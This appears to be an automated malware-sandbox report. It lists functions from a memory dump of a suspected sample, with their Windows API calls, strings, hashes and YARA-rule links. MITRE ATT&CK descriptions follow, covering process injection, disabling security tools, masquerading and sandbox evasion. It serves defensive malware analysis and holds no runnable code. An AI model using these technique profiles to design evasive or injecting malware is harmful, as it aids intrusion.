Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 87c04f276bf234bb12083d871c6ed8e9f08ee61aa6c46c42272f5164b1e321f2
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: CD11B63D716B40C2E7908B12E88931972A4F78DFE4F04C224EA6D877A6CF78C458CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092382F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000028092382F27
HeapAlloc.KERNEL32 ref: 0000028092382F3A
StrCmpNIW.SHLWAPI ref: 0000028092382FAF
GetProcessHeap.KERNEL32 ref: 0000028092383015
HeapFree.KERNEL32 ref: 0000028092383023

Strings

dialer, xrefs: 0000028092382FA8

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 39afe3ddd6e6d097b45cd4de5d81cf374d4bc5a978f8d31865c8414a9fdac7dd
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 6C31812A703B5582EB95DF17A58A76967A0FB48F84F08C120EE5D4BB57EF34C4A9C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002809238CFAF
FlsSetValue.KERNEL32(?,?,?,000002809238D6B5,?,?,?,?,000002809238D778), ref: 000002809238CFE5
FlsSetValue.KERNEL32(?,?,?,000002809238D6B5,?,?,?,?,000002809238D778), ref: 000002809238D012
FlsSetValue.KERNEL32(?,?,?,000002809238D6B5,?,?,?,?,000002809238D778), ref: 000002809238D023
FlsSetValue.KERNEL32(?,?,?,000002809238D6B5,?,?,?,?,000002809238D778), ref: 000002809238D034
SetLastError.KERNEL32 ref: 000002809238D04F

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 5266cd08fac6005184ef1348c82c0eaa1e8f4704349bffd67690afbb6ad547b5
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 01115C2C20324482FBE8A73155DF32962426B8CFF4F54C724F87E5E6E7DE6884098700

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000280923819C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000280923819E0
PathFindFileNameW.SHLWAPI ref: 00000280923819EF
lstrlenW.KERNEL32 ref: 00000280923819FB
StrCpyW.SHLWAPI ref: 0000028092381A0E
CloseHandle.KERNEL32 ref: 0000028092381A1C

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 29e0ebf9dfd58fbeb2982f728eac6f33a9a06f10bc25bb9a1a85be3c82a0978c
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 67015B29702A4082EB90DB52E49935963A1F78DFC0F48C035DEAE43766DE7CC58ECB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000280923836C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000280923836E4
GetCurrentProcess.KERNEL32 ref: 00000280923836F2
VirtualProtectEx.KERNEL32 ref: 0000028092383714
GetCurrentProcess.KERNEL32 ref: 0000028092383732
VirtualProtectEx.KERNEL32 ref: 0000028092383753
TerminateThread.KERNEL32 ref: 0000028092383762

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 620cabbc7c02fe0baf70140da816195882e94c90b305abdd921547fc3a1f19ba
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 3B011B6D617B40C2EBA49B22E88E71572A0BB4DFC6F04C425D96D07766EF7DC14C8B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092388FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000028092389013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000280923890A8
RtlUnwindEx.NTDLL ref: 00000280923890F7

Strings

csm, xrefs: 000002809238908E
f, xrefs: 0000028092389026

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: cab1018f037914e8374d0607161d5a41f4c1305bd99ef49bf0057c0f5e905668
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: F651B13A7066008AEB94CF15E88DB693796F348FC8F51C524EB6A4B74ADF75C94AC700

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092381A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000028092381A60
StrCmpNIW.SHLWAPI ref: 0000028092381A7A
lstrlenW.KERNEL32 ref: 0000028092381A89
StrCpyW.SHLWAPI ref: 0000028092381A9E

Strings

\\?\, xrefs: 0000028092381A6E

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 77bf96414c871147b412229e64955f9692535b18de8a8e4c6af6d15e64c58984
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: EFF0AF6A305680D2EBA09B21F8C93596360F74DFC8F94C020DAAD4A966DF7CC68DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002809238BCBD
GetProcAddress.KERNEL32 ref: 000002809238BCD3
FreeLibrary.KERNEL32 ref: 000002809238BCFA

Strings

mscoree.dll, xrefs: 000002809238BCB4
CorExitProcess, xrefs: 000002809238BCCC

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: da78497f32208a10e606192a29494fc326e245c6655d93fbe275253205ff8263
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: A3F0626D213605C2EB508B24E8CE3596321EB8EFA1F54C219DA7E492F6DF6CC48D8700

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092383044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000028092383066
StrCpyW.SHLWAPI ref: 0000028092383076
StrCatW.SHLWAPI ref: 0000028092383082
PathCombineW.SHLWAPI ref: 0000028092383090

Strings

\\.\pipe\, xrefs: 000002809238305C

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: fe481a6a832e91e1b0a972e284cfd228bfdc39b99d3a405373212e3135b22ae7
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 7DF05E6C606B84C2EB809B13B9891196260AB4DFC0F08C120EE6E07B2ADF6CC4898B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092385710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000028092385726

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: e876196aa6d2855d9486036f54fd059ebd800e97bb5603dcdf946595053b7c85
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: 6F61AB3A61AA44C6E7A0CB15E48931A77B0F388B94F51D116FADE47BA9DF7CC448CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092394104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002809239412C
_set_statfp.LIBCMT ref: 0000028092394147
_set_statfp.LIBCMT ref: 0000028092394163
_set_statfp.LIBCMT ref: 000002809239419F

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9df09107c09c3dbcb0a4f5d01aad4cda4688fd256b6f3375119177dd15073b35
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4211983EA15A5092F7E41558D5EF36511406B6FBB4F08C624E77E267D78EA8C4CE4700

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002809238AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002809238AAB7

Strings

MOC, xrefs: 000002809238AA7C
RCC, xrefs: 000002809238AA85

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 0b9e66c092d5353bd90ac7823ab4196f3369b9b2a0ece46c9412d5aad13bc16c
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 8061693B612B848AEB60DF65D48539D77A0F348B88F048215EF6D1BB9ADF78C599C700

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002809238ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002809238AE88

Strings

csm, xrefs: 000002809238ADC2
csm, xrefs: 000002809238AEDA

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: aecec427920cf964f2c500dee6c23b4f90442e7d901555835a7b87036198dd57
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 11519E7B122780CAEBB48B1594CA35977A0F358F85F14C116FAAD4BB96CF38D4A8C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092392058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000280923920D7
WriteFile.KERNEL32 ref: 000002809239239F
WriteFile.KERNEL32 ref: 00000280923923E5
GetLastError.KERNEL32 ref: 000002809239249B

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: dc3952f9b1b36ae91d7bf0c8d025bc04fe7a2e0d4c3bd89bf2b147d8f58767b3
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 0ED1123A706A80C9E755CF6AD48539C3BB1F34AB98F00C216DE6D97B9ADE74C44AC740

Uniqueness

Uniqueness Score: -1.00%

Function 00000280923814A4 Relevance: 6.3, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000280923814C5
HeapFree.KERNEL32 ref: 00000280923814D4
GetProcessHeap.KERNEL32 ref: 00000280923814E1
HeapFree.KERNEL32 ref: 00000280923814F0
GetProcessHeap.KERNEL32 ref: 0000028092381500

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 67b040d7ee802606bd56d07f6ed8f9806d413318a069c895cd09d0520baf0e98
Instruction ID: 0de66cf9629e314cb73f369278df029e6b34802edab9867acc8c101c11f046c1
Opcode Fuzzy Hash: 67b040d7ee802606bd56d07f6ed8f9806d413318a069c895cd09d0520baf0e98
Instruction Fuzzy Hash: 8611903EA06A90CAE790DB62D88924967A0F74EFC0F04C025DB6D43727DE38C0998B00

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092392980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000028092392A9C
GetLastError.KERNEL32 ref: 0000028092392B27

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: c0e4e2bb94459c3927f15c6b93068607d186b0e1c8a0db24b365ca452b44f6ad
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: E891D67E702A50C5F7989F7694CA3AD2BA0B70AF88F14C105DE2E57696DEB4C4CAC700

Uniqueness

Uniqueness Score: -1.00%

Function 000002809238253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000028092382620
StrCpyW.SHLWAPI ref: 0000028092382639

Strings

\\.\pipe\, xrefs: 000002809238262B

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 2045c51461cb6e3c4e330e0400f06f28497d849f0a3ece22e2d95f09a3f1f34d
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 2E71B63A2027C186E7A49E2798C93A96794F38DF84F54C015FD2E5BB8BDE35C649C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092382330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000028092382416
StrCpyW.SHLWAPI ref: 000002809238242D

Strings

\\.\pipe\, xrefs: 0000028092382421

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 114f22edd4db67974f88229144f196d39074de81b4497283f5c74c689a9761f4
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B651C73A2067C181F7A4DA2AA4ED36AA791F38DF40F44C115EE6E07B5BDE39C50C8750

Uniqueness

Uniqueness Score: -1.00%

Function 00000280923926F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000028092392807
GetLastError.KERNEL32 ref: 0000028092392829

Strings

U, xrefs: 00000280923927B3

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 0e61806694ce1a69e6e7b965a6c91b5facd84c07cbea90de033002916ccf1ea9
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: DA41A23A216A80C6DBA0DF26E4893AA77A0F79DB94F40C021EE5D87795EF7CC449C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000280923894A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000280923894F0
RaiseException.KERNEL32 ref: 0000028092389531

Strings

csm, xrefs: 000002809238951E

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: d2d45102f6022ad079f417c59ce483d6dfe33ceadc998bce2d81460228beb5a2
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: AE112B3A216B8082EBA18B15E48435977E5F788F94F59C220EF9C0B769DF3CC555CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092381BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000028092381C2D
HeapAlloc.KERNEL32 ref: 0000028092381C3B
GetProcessHeap.KERNEL32 ref: 0000028092381C77
HeapFree.KERNEL32 ref: 0000028092381C85

Part of subcall function 000002809238152C: StrCmpIW.SHLWAPI ref: 000002809238155D

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 586a83de353d49db31800be4fb894c08c871f1434d6ff2b5443c07a6e9e5de38
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 80114F29A03B4481EB94DB66A88A22977A1FB8DFC0F18C025DE9D57766DE78C446D700

Uniqueness

Uniqueness Score: -1.00%

Function 0000028092381268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002809238126E
HeapAlloc.KERNEL32 ref: 000002809238127D
GetProcessHeap.KERNEL32 ref: 0000028092381297
HeapAlloc.KERNEL32 ref: 00000280923812A8

Memory Dump Source

Source File: 00000083.00000002.2489519243.0000028092380000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000028092380000, based on PE: true

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: a77cece094574aa69811fd8dadb047c79e938b3ddca75d249d5009af6d125fe3
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 55E03939A03604C6EB44AB62D84934A36E1EB8EF86F04C024C91907362DFBD84DACF50

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
